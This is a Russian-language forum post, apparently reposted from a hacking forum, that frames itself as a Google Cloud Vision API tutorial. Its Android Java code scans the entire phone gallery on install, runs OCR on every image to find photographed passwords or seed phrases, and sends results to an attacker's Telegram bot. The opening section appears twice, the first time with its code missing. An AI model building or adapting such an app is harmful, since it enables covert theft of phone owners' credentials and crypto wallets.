D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор zebra0_0
Источник https://xss.is
Всем привет!
В этой статье я хочу рассказать о мощном инструменте — Google Cloud Vision API, который позволяет работать с текстом и изображениями на совершенно новом уровне. Этот API открывает огромные возможности для создания программ, способных "видеть" и понимать содержимое изображений. Давайте разберемся, что это за инструмент, как он работает и как его можно использовать в реальных проектах, например, для сканирования галереи телефона на наличие фотографий с определенными паттернами.
Как оно будет работать:
Для начала добавим нужные библиотеки в зависимости проекта в файле build.gradle:
Код: Скопировать в буфер обмена
Зависимости:
И конечноже разрешения который нам потребуются для работы софта:
XML: Скопировать в буфер обмена
Разрешения:
Проверка разрешений:
Сканирование галереи:
Подготовка изображения:
Формирование URL:
На этом я всё, надеюсь был полезен
Источник https://xss.is
Всем привет!
В этой статье я хочу рассказать о мощном инструменте — Google Cloud Vision API, который позволяет работать с текстом и изображениями на совершенно новом уровне. Этот API открывает огромные возможности для создания программ, способных "видеть" и понимать содержимое изображений. Давайте разберемся, что это за инструмент, как он работает и как его можно использовать в реальных проектах, например, для сканирования галереи телефона на наличие фотографий с определенными паттернами.
Что такое Google Cloud Vision API?
Google Cloud Vision API — это облачный сервис от Google Cloud Platform, который использует машинное обучение для анализа изображений. Он позволяет интегрировать в приложения функции компьютерного зрения, такие как:- Распознавание текста (OCR)
- Обнаружение объектов
- Классификация изображений
- Обнаружение лиц
- Безопасный поиск
Основные возможности Google Cloud Vision API
- Распознавание текста (OCR)
API может извлекать текст из изображений, даже если он написан от руки, находится под углом или частично скрыт. Это полезно для поиска записанных паролей, сид-фраз или ключевых слов. - Обнаружение объектов
API может идентифицировать объекты на изображении, такие как лица, логотипы брендов, достопримечательности (например, Эйфелева башня), а также животных и растения. - Классификация изображений
API автоматически классифицирует изображения по категориям, например: "Пейзаж", "Еда", "Транспорт", "Животные". - Обнаружение лиц
API может определять наличие лиц на изображении, эмоции (радость, грусть, злость), позу (например, наклон головы), а также возраст и пол. - Безопасный поиск
API может обнаруживать неприемлемый контент, такой как насилие, наркотики или откровенные сцены.
Преимущества Google Cloud Vision API
- Высокая точность: Благодаря передовым алгоритмам машинного обучения, API обеспечивает высокую точность в распознавании текста, объектов и лиц.
- Масштабируемость: API работает в облаке, что позволяет обрабатывать большие объемы данных без необходимости установки дополнительного оборудования.
- Простота интеграции: API предоставляет простой RESTful интерфейс, который легко интегрировать в любые приложения.
- Поддержка множества языков: API поддерживает распознавание текста на более чем 50 языках, включая русский, английский, китайский и арабский.
- Уменьшение веса APK: Поскольку API работает в облаке, вам не нужно включать тяжелые модели машинного обучения в ваше приложение, что значительно уменьшает размер APK-файла.
Ограничения Google Cloud Vision API
- Зависимость от интернета: Поскольку API работает в облаке, для его использования требуется стабильное интернет-соединение. Это может быть проблемой в условиях слабого интернета.
- Стоимость: Использование API может быть платным, особенно при обработке большого количества изображений, что может быть ограничением для небольших проектов.
- Ограничения на размер изображений: API имеет ограничения на размер изображений, которые можно обрабатывать за один запрос.
Как работает Google Cloud Vision API?
API принимает изображение в качестве входных данных и возвращает JSON-ответ с результатами анализа. Для использования API необходимо:- Создать проект в Google Cloud Console.
- Включить Cloud Vision API для вашего проекта.
- Сгенерировать API-ключ для аутентификации.
- Отправлять HTTP-запросы к API с изображением и получать результаты.
Пример использования: сканирование галереи телефона
Представьте, что вы хотите создать приложение, которое сканирует галерею телефона и ищет фотографии с определенным текстом. Например, вы хотите найти все изображения, на которых есть слово "пароль" или "recover". Вот как это можно сделать с помощью Google Cloud Vision API:- Сканирование галереи: Приложение получает доступ к галерее устройства и выбирает все изображения.
- Распознавание текста: Каждое изображение отправляется в Google Cloud Vision API для распознавания текста.
- Поиск паттернов: Приложение проверяет, содержит ли распознанный текст заданные ключевые слова.
Пример Android-Приложения на Java
Теперь я покажу простой пример того как это далжо выглядеть и работать.Как оно будет работать:
- После установки приложение автоматически запрашивает доступ к галерее.
- Если доступ предоставлен, начинается сканирование галереи.
- Результат по количеству фото с подходяшимся патернном отправляется в Telegram-бота.
Для начала добавим нужные библиотеки в зависимости проекта в файле build.gradle:
Код: Скопировать в буфер обмена
Код:
dependencies {
implementation 'com.google.cloud:google-cloud-vision:2.0.0'
implementation 'com.squareup.okhttp3:okhttp:4.9.3'
implementation 'androidx.appcompat:appcompat:1.6.1'
}
Зависимости:
- google-cloud-vision — библиотека для работы с Google Cloud Vision API.
- okhttp — библиотека для отправки HTTP-запросов (используется для взаимодействия с Telegram Bot API).
- appcompat — библиотека для поддержки современных функций Android.
И конечноже разрешения который нам потребуются для работы софта:
XML: Скопировать в буфер обмена
Код:
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />
Разрешения:
- READ_EXTERNAL_STORAGE — необходимо для доступа к галерее устройства.
- INTERNET — требуется для отправки запросов к Google Cloud Vision API и Telegram Bot API.
Проверка и запрос разрешений:
Java: Скопировать в буфер обмена
Код:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_EXTERNAL_STORAGE}, REQUEST_CODE_PERMISSION);
} else {
scanGallery();
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == REQUEST_CODE_PERMISSION && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
scanGallery();
} else {
Toast.makeText(this, "Разрешение отклонено", Toast.LENGTH_SHORT).show();
}
}
Проверка разрешений:
- При запуске приложения проверяется, есть ли у него доступ к галерее.
- Если разрешение не предоставлено, запрашивается доступ через ActivityCompat.requestPermissions.
- Если пользователь предоставляет разрешение, вызывается метод scanGallery() для сканирования галереи.
- Если разрешение отклонено, выводится сообщение об ошибке.
Сканирование галереи:
Java: Скопировать в буфер обмена
Код:
private void scanGallery() {
new AsyncTask<Void, Void, Integer>() {
@Override
protected Integer doInBackground(Void... voids) {
int matchingPhotosCount = 0;
Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null, null, null);
if (cursor != null) {
while (cursor.moveToNext()) {
String imagePath = cursor.getString(cursor.getColumnIndex(MediaStore.Images.Media.DATA));
Uri imageUri = Uri.parse(imagePath);
try {
String text = detectText(imageUri); // Распознавание текста на изображении
if (text.contains("Патерн который надо найти")) { // Проверка на наличие текста
matchingPhotosCount++;
}
} catch (IOException e) {
e.printStackTrace();
}
}
cursor.close();
}
return matchingPhotosCount;
}
@Override
protected void onPostExecute(Integer matchingPhotosCount) {
sendMessageToTelegram("Найдено фотографий с подходящим патернном: " + matchingPhotosCount);
}
}.execute();
}
Сканирование галереи:
- Используется Cursor для получения списка всех изображений в галерее.
- Для каждого изображения вызывается метод detectText, который распознает текст с помощью Google Cloud Vision API.
- Если текст содержит заданный шаблон (Патерн который надо найти), увеличивается счетчик matchingPhotosCount.
- После завершения сканирования результат отправляется в Telegram через метод sendMessageToTelegram.
Распознавание текста с помощью Google Cloud Vision API:
Java: Скопировать в буфер обмена
Код:
private String detectText(Uri uri) throws IOException {
InputStream inputStream = getContentResolver().openInputStream(uri);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len;
while ((len = inputStream.read(buffer)) != -1) {
byteArrayOutputStream.write(buffer, 0, len);
}
byte[] imageBytes = byteArrayOutputStream.toByteArray();
HttpTransport httpTransport = AndroidHttp.newCompatibleTransport();
JsonFactory jsonFactory = GsonFactory.getDefaultInstance();
Vision.Builder builder = new Vision.Builder(httpTransport, jsonFactory, null)
.setVisionRequestInitializer(new VisionRequestInitializer(CLOUD_VISION_API_KEY));
Vision vision = builder.build();
Image inputImage = new Image();
inputImage.encodeContent(imageBytes);
Feature desiredFeature = new Feature();
desiredFeature.setType("TEXT_DETECTION");
AnnotateImageRequest request = new AnnotateImageRequest();
request.setImage(inputImage);
request.setFeatures(List.of(desiredFeature));
BatchAnnotateImagesRequest batchRequest = new BatchAnnotateImagesRequest();
batchRequest.setRequests(List.of(request));
BatchAnnotateImagesResponse batchResponse = vision.images().annotate(batchRequest).execute();
List<TextAnnotation> texts = batchResponse.getResponses().get(0).getTextAnnotations();
return texts != null && !texts.isEmpty() ? texts.get(0).getDescription() : "";
}
Подготовка изображения:
- Изображение считывается в виде байтового массива (imageBytes).
- Создается объект Vision, который используется для отправки запросов к API.
- Указывается тип задачи (TEXT_DETECTION) для распознавания текста.
- Изображение и параметры запроса отправляются в Google Cloud Vision API.
- API возвращает распознанный текст, который извлекается из ответа.
Отправка результата в Telegram:
Java: Скопировать в буфер обмена
Код:
private void sendMessageToTelegram(String message) {
new AsyncTask<Void, Void, Void>() {
@Override
protected Void doInBackground(Void... voids) {
try {
OkHttpClient client = new OkHttpClient();
String url = "https://api.telegram.org/bot" + TELEGRAM_BOT_TOKEN + "/sendMessage?chat_id=" + CHAT_ID + "&text=" + message;
Request request = new Request.Builder().url(url).build();
Response response = client.newCall(request).execute();
response.close();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
}.execute();
}
Формирование URL:
- Используется токен бота (TELEGRAM_BOT_TOKEN) и chat_id для формирования URL запроса.
- С помощью библиотеки OkHttp отправляется HTTP-запрос к Telegram Bot API.
- Сообщение передается в параметре text.
Заключение
Google Cloud Vision API предоставляет мощные инструменты для анализа изображений, которые можно легко интегрировать в Android-приложения в совершено различных целях.На этом я всё, надеюсь был полезен